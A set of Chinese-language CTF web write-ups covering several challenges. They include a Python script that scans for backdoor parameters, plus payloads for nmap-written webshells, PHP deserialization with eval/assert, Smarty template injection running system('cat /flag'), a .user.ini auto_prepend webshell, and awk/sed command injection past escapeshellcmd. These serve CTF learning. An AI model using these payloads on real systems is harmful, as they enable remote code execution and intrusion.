week5
信息收集
[强网杯 2019]高明的黑客
脚本
注意事项:
1.php 7+
2.放在phpstudy->网站根目录
import os
import requests
import re
import threading
import time
print('开始时间: ' + time.asctime(time.localtime(time.time()))) # 只是一个简单的时间函数,看起来更漂亮罢了
s1 = threading.Semaphore(100) # 这儿设置最大的线程数
filePath = r"F:\web\phpstudy\WWW\src"
os.chdir(filePath) # 改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5 # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath) # 得到该目录下所有文件的名称
session = requests.Session() # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire() # 好像与锁什么的相关,但是还是不太懂,多线程开启
print('trying ' + file + ' ' + time.asctime(time.localtime(time.time()))) # 更好看,同时可以对比不加线程和加线程的时间对比
with open(file, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} # 所有的$_POST
params = {} # 所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/' + file
req = session.post(url, data=data, params=params) # 一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
# print(content)
if "xxxxxx" in content: # 如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release() # 对应于之前的多线程打开
for i in files: # 加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
解题过程:
step1:
访问下载/www.tar.gz 备份源码
step2:
看到有一堆php文件,打开几个看到有GET,POST传参,一些getshell文件,用脚本把get,post这些文件找出来,在本地搭建一个靶机,遍历这些文件那个有效(脚本在上面)
step3:
找到直接访问就是
Unicode
[ASIS 2019]Unicorn shop
知识点:
1.一些Unicode表示的含义是一样的,可以用来绕过
https://www.compart.com/en/unicode/
解题过程:
step1:
让我们买马,在id输入1,price输入对应的回显Wrong commodity! 1,2,3都是一样的回显
到4的时候回显Only one char(?) allowed! 只让输入一个字符
step2:
在那个网站上找到对应的大于1337数字的替换,我用的𐄣(2000)就可以了
nmap写文件
[网鼎杯 2020 朱雀组]Nmap
考点
nmap写文件
解题过程
这道题和[BUUCTF 2018]Online Tool差不多
step1:
给了一个输入框,在这里尝试写一下文件
' <?php eval($_POST["666"]);?> -oG 1.php '
回显hacker是做了过滤
尝试' <?= @eval($_POST["666"]); ?> -oG 1.php '还是回显Hacker...' <?= @eval($_POST["666"]); ?> -oG 1.phtml 'Host maybe down
访问1.phtml有回显
step2:
666=phpinfo();有回显
就可以传参拿到flag
代码审计&动态调用
[NPUCTF2020]ReadlezPHP
考点:
动态调用
解题过程:
step1:
在源码代码里面看到./time.php?source访问一下得到源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2024-07-18 01:39:54
step2:
看页面的回显,在看到 $this->a = "Y-m-d h:i:s"; $this->b = "date"; echo $b($a);
就是function()
step2:
构造payload=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_POST%5Bcmd%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
<?
class HelloPhp
{
public $a = 'eval($_POST[cmd])';
public $b = "assert";
public function __destruct()
{
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
echo $c =urlencode(serialize(new HelloPhp));
?>
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_POST%5Bcmd%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
执行cmd=phpinfo();搜索flag就拿到了
ssti(smarty)
[CISCN2019 华东南赛区]Web11
知识点
smarty
有IP相关,获取到了IP,通过控制XFF进行命令执行,基本可以确定是smarty模板注入
smarty的版本号: {$smarty.version}
php标签:
{php}phpinfo(){/php}
Smarty已经废弃{php}标签,在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal} 标签:
{literal}
<script language="php">phpinfo();</script>
{/literal}
{if}标签 :
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
解题过程:
step1:
提示ip,看到了smarty,在xff尝试{{7*7}}在current ip那里有回显49
step2:
{if phpinfo()}(/if)有回显
{if system('ls')}{/if}
{if system('ls /')}{/if}
{if system('cat /flag')}{/if}
代码审计
[De1CTF 2019]SSRF Me
考点:
代码审计
解题过程:
from flask import Flask, request, jsonify
import socket
import hashlib
import urllib.request
import os
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = hashlib.md5(ip.encode()).hexdigest()
if not os.path.exists(self.sandbox):
os.mkdir(self.sandbox)
def exec_task(self):
result = {'code': 500}
if self.check_sign():
if "scan" in self.action:
result_file = os.path.join(self.sandbox, "result.txt")
with open(result_file, 'w') as tmpfile:
resp = self.scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
tmpfile.write(resp)
result['code'] = 200
elif "read" in self.action:
result_file = os.path.join(self.sandbox, "result.txt")
with open(result_file, 'r') as f:
result['code'] = 200
result['data'] = f.read()
else:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def check_sign(self):
expected_sign = get_sign(self.action, self.param)
return expected_sign == self.sign
@app.route("/geneSign", methods=['GET', 'POST'])
def generate_sign():
param = request.args.get("param", "")
action = "scan"
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = request.cookies.get("action")
param = request.args.get("param", "")
sign = request.cookies.get("sign")
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return jsonify(task.exec_task())
@app.route('/')
def index():
with open("code.txt", "r") as file:
return file.read()
def scan(param):
socket.setdefaulttimeout(1)
try:
response = urllib.request.urlopen(param).read()[:50]
return response.decode()
except Exception:
return "Connection Timeout"
def get_sign(action, param):
return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith(("gopher", "file")):
return True
return False
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
思路:
/geneSign
传param以及默认action=scan通过getSign生成签名
/De1ta
从cookie中获去action和sign和param传入task
waf()过滤gopher和file
getSign()返回hashlib.md5(secert_key + param + action).hexdigest(),action,param是可控的
scan可以直接写文件名或者读取本地文件
Exec()主要是action中如果有read和scan关键字及操作,action中有scan,利用scan()方法读取内容并放入result.txt,有read即读取result.txt
看到hintflag在flag.txt里面
所以要去用scan把flag.txt写入result.txt,在用read读取,
先满足sign才可以读到flag.txt
代码审计,看到有三个参数param,action,sign,
解题过程:
step1:
/geneSign?param=flag.txtread获取sign
输入flag.txtread的原因是因为action是scan,而在getSign里几个字符是.号会连接起来,所以就变成了key.flag.txtreadscan(拼接)/因为secret_key + param.encode() + action.encode()/
De1ta?param=flag.txt
cookie: action=readscan;sign=e0cbd840a7cb064356554e8878fbc8d7
baby_php
知识点
1.file_get_contents(path,include_path,context,start,max_length)
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。
context 可选。规定文件句柄的环境。
context 是一套可以修改流的行为的选项。若使用 null,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。
2.file_put_contents ( string filename, string data [, int flags [, resource context]] )
filename 文件名
data 文件数据
3.php弱比较类型/http://t.csdnimg.cn/AaBCO/
布尔值true和任意字符串都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的,例如:
var_dump(true=="hyuf") //true
var_dump(True == 0); //bool(false)
var_dump(True == 'False'); //bool(true)
var_dump(True == 2); //bool(true)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-05-31 13:40:37
# @Last Modified by: h1xa
# @Last Modified time: 2021-05-31 16:36:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class fileUtil{
private $name;
private $content;
public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}
public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}
private function waf($input){
return !preg_match('/php/i', $input);
}
public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}
思路
file_upload里面有file_put_contents($this->name, $this->content)//file_put_contents ( string filename, string data [, int flags [, resource context]] )将filename文件名,data文件数据,就是一个写文件的操作
__construct构造函数,并明确所有文件操作都在/var/www/html路径
file_download这是一个读文件的操作,有file_get_contents,在这里可以读文件;
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);三元运算,但是这里其实是默认那个a=true了
<?php
var_dump(highlight_file(_file_));
?>可以试一下。回显就是bool(true)从这进去switch就是弱比较了,比较true和upload返回true直接进入'upload'了这样就绕过了
if($action==='upload'){
die('Permission denied');
}
所以进入upload我们利用的是file_get_contents,我们可以写文件,所以就想到利用user.ini,让我们的代码包含在当前页面index.php也就是当前页面
解题过程
payload:
name=.user.ini&content=auto_prepend_file=1.jpg;
name=1.jpg&content=<?= system('ls /');?>
name=1.jpg&content=<?= system('cat /flag_baby_here_you_are home')?>
easyPHP
知识点:
1.sed命令
2.awk命令
awk options 'pattern {action}' file
options:是一些选项,用于控制 awk 的行为。
pattern:是用于匹配输入数据的模式。如果省略,则 awk 将对所有行进行操作。
{action}:是在匹配到模式的行上执行的动作。如果省略,则默认动作是打印整行。
3.escapeshellcmd是对&#;|*?~<>^()[]{}$\, \x0A 和 `\xFF这些字符之前添加一个转义字符'\'。
escapeshellarg的作用是 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,每条连续的反斜线(\)都会被一个额外的反斜线所转义。
解题过程:
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd)这个;
}
注意看到shell_exec($cmd)这个这里可控,由于escapeshellcmd(substr($cmd,0,3))只取cmd前三个字母,escapeshellarg($param)会对传进来的的东西进行特定的空格替换,在这里有两种方法利用sed或者awk/sed是替换原来代码一些东西,awk是把我们要的提取合在一个地方/
法一:awk
payload
cmd=awk¶m={system("ls />a.txt")}
cmd=awk¶m={system("cat /f1agaaa")}//用{}是因为awk的语法规范
法二:sed
cmd=sed¶m=/esca/d;s/shell_exec/system/g;w 1.php
则访问1.php,代码变成:
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
system($cmd);
}
然后直接执行命令
cmd=ls /¶m=a
cmd=cat /f1agaaa¶m=a